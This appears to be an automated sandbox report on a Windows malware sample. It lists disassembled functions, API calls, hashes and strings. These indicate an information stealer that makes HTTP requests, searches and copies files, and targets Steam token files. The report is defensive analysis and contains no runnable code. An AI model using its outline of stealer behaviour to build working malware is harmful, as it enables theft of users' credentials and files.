String ID: ERROR
API String ID: 2133942097-2861137601
Opcode ID: 457c7dca167f6097eb3decf56045153080dc014ab3c7bbf54f3f61cdd9435eba
Instruction ID: 77545b96f9c55e0de6ec71263cb7e0cfa71b0ad252d2fb84a837ede919fdf13f
Opcode Fuzzy Hash: 457c7dca167f6097eb3decf56045153080dc014ab3c7bbf54f3f61cdd9435eba
Instruction Fuzzy Hash: 133172B1900148AFCB00EFA9D956BDD7FB4AB15304F10803EF405A7282DB389648CBA9

Function 0041303A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041303F

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00404F2A: _EH_prolog.MSVCRT ref: 00404F2F
Part of subcall function 00404F2A: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
Part of subcall function 00404F2A: StrCmpCA.SHLWAPI(?), ref: 00404FA6
Part of subcall function 00404F2A: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F2A: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
Part of subcall function 00404F2A: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
Part of subcall function 00404F2A: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
Part of subcall function 00404F2A: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041309D

Strings

ERROR, xrefs: 0041308B
ERROR, xrefs: 004130C5

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$H_prologOpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 1120091252-2579291623
Opcode ID: aefbf7741ce3e4e0e52d37c23a8d594d106d3e01a68b0f1fcaa8373cdeccc4c0
Instruction ID: 9cf05e6fcab295474e65acada3454b7dde9d8d835f49f967da0029279a9dc82d
Opcode Fuzzy Hash: aefbf7741ce3e4e0e52d37c23a8d594d106d3e01a68b0f1fcaa8373cdeccc4c0
Instruction Fuzzy Hash: FC210EB0900189EADB14FFA5C556BDDBBF4AF18348F50417EE80563682DB785B0CCB66

Function 00411001 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,2IA), ref: 00411019
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00411034
CloseHandle.KERNEL32(00000000), ref: 0041103B

Strings

2IA, xrefs: 0041100F

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: 2IA
API String ID: 3183270410-4174278054
Opcode ID: 30d4ffeda736fd64e0374663d8f4d70df638ccef9048597482ecb454b1010210
Instruction ID: 8552e384592846dc61b773d54a0908cfb1ecd9fdbc452b9aa5e823a114c6ff4c
Opcode Fuzzy Hash: 30d4ffeda736fd64e0374663d8f4d70df638ccef9048597482ecb454b1010210
Instruction Fuzzy Hash: 85F03079905228BBEB60AB90DC49FDD3B78AB09715F000061BE85A61D0DBB4AAC4CBD4

Function 00414437 Relevance: 6.1, APIs: 4, Instructions: 76sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041443C

Part of subcall function 00413460: _EH_prolog.MSVCRT ref: 00413465

Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004144C0
CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog$CreateObjectSingleSleepThreadWait
String ID:
API String ID: 2678630583-0
Opcode ID: fb7f86a4d038d58da3621eb36abdba5b43a6fdb478c7a05049313af6d209da56
Instruction ID: 90c6c212f9a98d1f3efa3e19a0f967dde8f702bf728512cfd2e6caf086527d46
Opcode Fuzzy Hash: fb7f86a4d038d58da3621eb36abdba5b43a6fdb478c7a05049313af6d209da56
Instruction Fuzzy Hash: 3E311E75900148AFCB11DFA4C995ADEBBB8FF18304F50412FF906A7281DB789B88CB95

Function 00402308 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040238D

Strings

6%@, xrefs: 0040242C, 00402420
6%@, xrefs: 00402312, 0040231B

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: 6%@$6%@
API String ID: 0-3369382886
Opcode ID: 1671fecbb1ebbe02e7eb2cc7cf41ad1b7ad139c209bd50c1cd2ae32b560b646f
Instruction ID: badd9bf96c2c88f43ed760c6ea304aae97d5f1f2e5982ea7d2ae84e0ed7fb19c
Opcode Fuzzy Hash: 1671fecbb1ebbe02e7eb2cc7cf41ad1b7ad139c209bd50c1cd2ae32b560b646f
Instruction Fuzzy Hash: 9C4146716001199FCB01CF69D8806EDBBB1FF89318F1484BADC55EB395C3B8A982CB54

Function 00414538 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041453D

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

lstrlenA.KERNEL32(00000000,00000000,?,00000000,0042655B), ref: 0041458E

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Soft\Steam\steam_tokens.txt, xrefs: 004145A6

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 40794102-3507145866
Opcode ID: 5dea421be7ed3263a5a25ba242280bcfb85689912c92a282fb01fad9efacc230
Instruction ID: 1e33fb55044e108cdc823b8717a6e4474b59c1838e8e2ba6a3b9a54ee3721495
Opcode Fuzzy Hash: 5dea421be7ed3263a5a25ba242280bcfb85689912c92a282fb01fad9efacc230
Instruction Fuzzy Hash: 61215B71C00148AACB14FBE5C966BDDBB74AF18308F50817EE411725D2DB78174CCA66

Function 004071C6 Relevance: 4.7, APIs: 3, Instructions: 231stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004071CB

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

lstrlenA.KERNEL32(00000000), ref: 00407402
lstrlenA.KERNEL32(00000000), ref: 00407416

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$lstrcat$CreateObjectSingleThreadWait
String ID:
API String ID: 3193997572-0
Opcode ID: 9c7e708cd882b152c105328016b18edc6413fade68d22c0f532ea058ca18a39d
Instruction ID: 126ac542581dd9a9e00b668703c25f94ef807883601db8bc0808eb5b6dcb11bd
Opcode Fuzzy Hash: 9c7e708cd882b152c105328016b18edc6413fade68d22c0f532ea058ca18a39d
Instruction Fuzzy Hash: 12A14D71904248EADB15EBE4D955BEDBBB4AF18308F5040BEE406735D2DB782B0CDB26

Function 004165D9 Relevance: 4.6, APIs: 3, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004165DE

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

lstrcat.KERNEL32(?,00000000), ref: 00416620
lstrcat.KERNEL32(?), ref: 0041663F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 004162AF: _EH_prolog.MSVCRT ref: 004162B4
Part of subcall function 004162AF: wsprintfA.USER32 ref: 004162D4
Part of subcall function 004162AF: FindFirstFileA.KERNEL32(?,?), ref: 004162EB
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,004268B0), ref: 00416308
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,004268B4), ref: 00416322
Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416346
Part of subcall function 004162AF: StrCmpCA.SHLWAPI(?,00426525), ref: 00416357
Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416374
Part of subcall function 004162AF: PathMatchSpecA.SHLWAPI(?,?), ref: 0041639B
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 004163C7
Part of subcall function 004162AF: lstrcat.KERNEL32(?,004268CC), ref: 004163D9
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 004163E9
Part of subcall function 004162AF: lstrcat.KERNEL32(?,004268D0), ref: 004163FB
Part of subcall function 004162AF: lstrcat.KERNEL32(?,?), ref: 0041640F

Part of subcall function 004162AF: wsprintfA.USER32 ref: 00416388
Part of subcall function 004162AF: CopyFileA.KERNEL32(?,00000000,00000001), ref: 004164DD
Part of subcall function 004162AF: DeleteFileA.KERNEL32(00000000), ref: 0041655B

Part of subcall function 004162AF: FindNextFileA.KERNEL32(00000000,?), ref: 004165AA
Part of subcall function 004162AF: FindClose.KERNEL32(00000000), ref: 004165B9

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileH_prologwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 3101948222-0
Opcode ID: 6a69f1f2ed3b177ebeb85c1869a8abb099c5e14ffe340268730b21adc0a832aa
Instruction ID: 6e5b766fc683c4e74d5122aabce2b8c3392ef196e7b74699665c3906b53d7570
Opcode Fuzzy Hash: 6a69f1f2ed3b177ebeb85c1869a8abb099c5e14ffe340268730b21adc0a832aa
Instruction Fuzzy Hash: 5A41AD7194022DABCF10EBF0EC13DED7B79AB18314F00466AF844A2192E77997958B96

Function 00411250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00411289

Strings

^qA, xrefs: 00411256

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: ^qA
API String ID: 3080627654-2929517337
Opcode ID: 16d3a2ce8468c8175a4b0748f848a8e721ac03b0a06bcb47fc2447d8941ceac4
Instruction ID: 1eaf247a329aa75c86d9425b1c51e37de0b4722cea675766f58cecf8dc0fcae1
Opcode Fuzzy Hash: 16d3a2ce8468c8175a4b0748f848a8e721ac03b0a06bcb47fc2447d8941ceac4
Instruction Fuzzy Hash: 68E075B0E0421D9FCB44EFA4D5466EEBBF8FF48308F40806AD919F7240E7B456458BA9

Function 004104A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

Strings

Unknown, xrefs: 004104C6

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 36caf4ab5cc3db7ce453f452f44e3bfd2793be26340c29108ddef0f291e38d6b
Instruction ID: 7df7fbcbbed776e4458085ee5b54356bf3053a549426d159850edd6d89fd8832
Opcode Fuzzy Hash: 36caf4ab5cc3db7ce453f452f44e3bfd2793be26340c29108ddef0f291e38d6b
Instruction Fuzzy Hash: D6E0C270A0010DFBDB10EBA4DA85FDD37BC6B04348F508125A601E3180DBBCE648CBA9

Function 0040D3FA Relevance: 1.7, APIs: 1, Instructions: 221COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040D3FF

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425BF6,?,?), ref: 00410CF6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040A893: _EH_prolog.MSVCRT ref: 0040A898

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID:
API String ID: 2625060131-0
Opcode ID: 376a3a712f82bb87cd6dc28791a904098dcfe9595fc6229afb21645f8f31d16a
Instruction ID: c334b669d827ce9460b6e052bb784494c4e07a697f8de2f8e66076f210601346
Opcode Fuzzy Hash: 376a3a712f82bb87cd6dc28791a904098dcfe9595fc6229afb21645f8f31d16a
Instruction Fuzzy Hash: 63915F71D0024CEACF11EBE5D952BDEBBB8AF14308F10417EE44573282DA78570C8B66

Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.00000000045CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsApp1.dll8 vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1767557867.0000000005798000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsApp1.dll8 vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000000.1624610288.0000000000A1E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameportableneweurope_hub8.exeP. vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1764198655.0000000004440000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsApp1.dll8 vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePolly.dll, vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameICSharpCode.SharpZipLib.dllP vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameZipExtractor.dll: vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
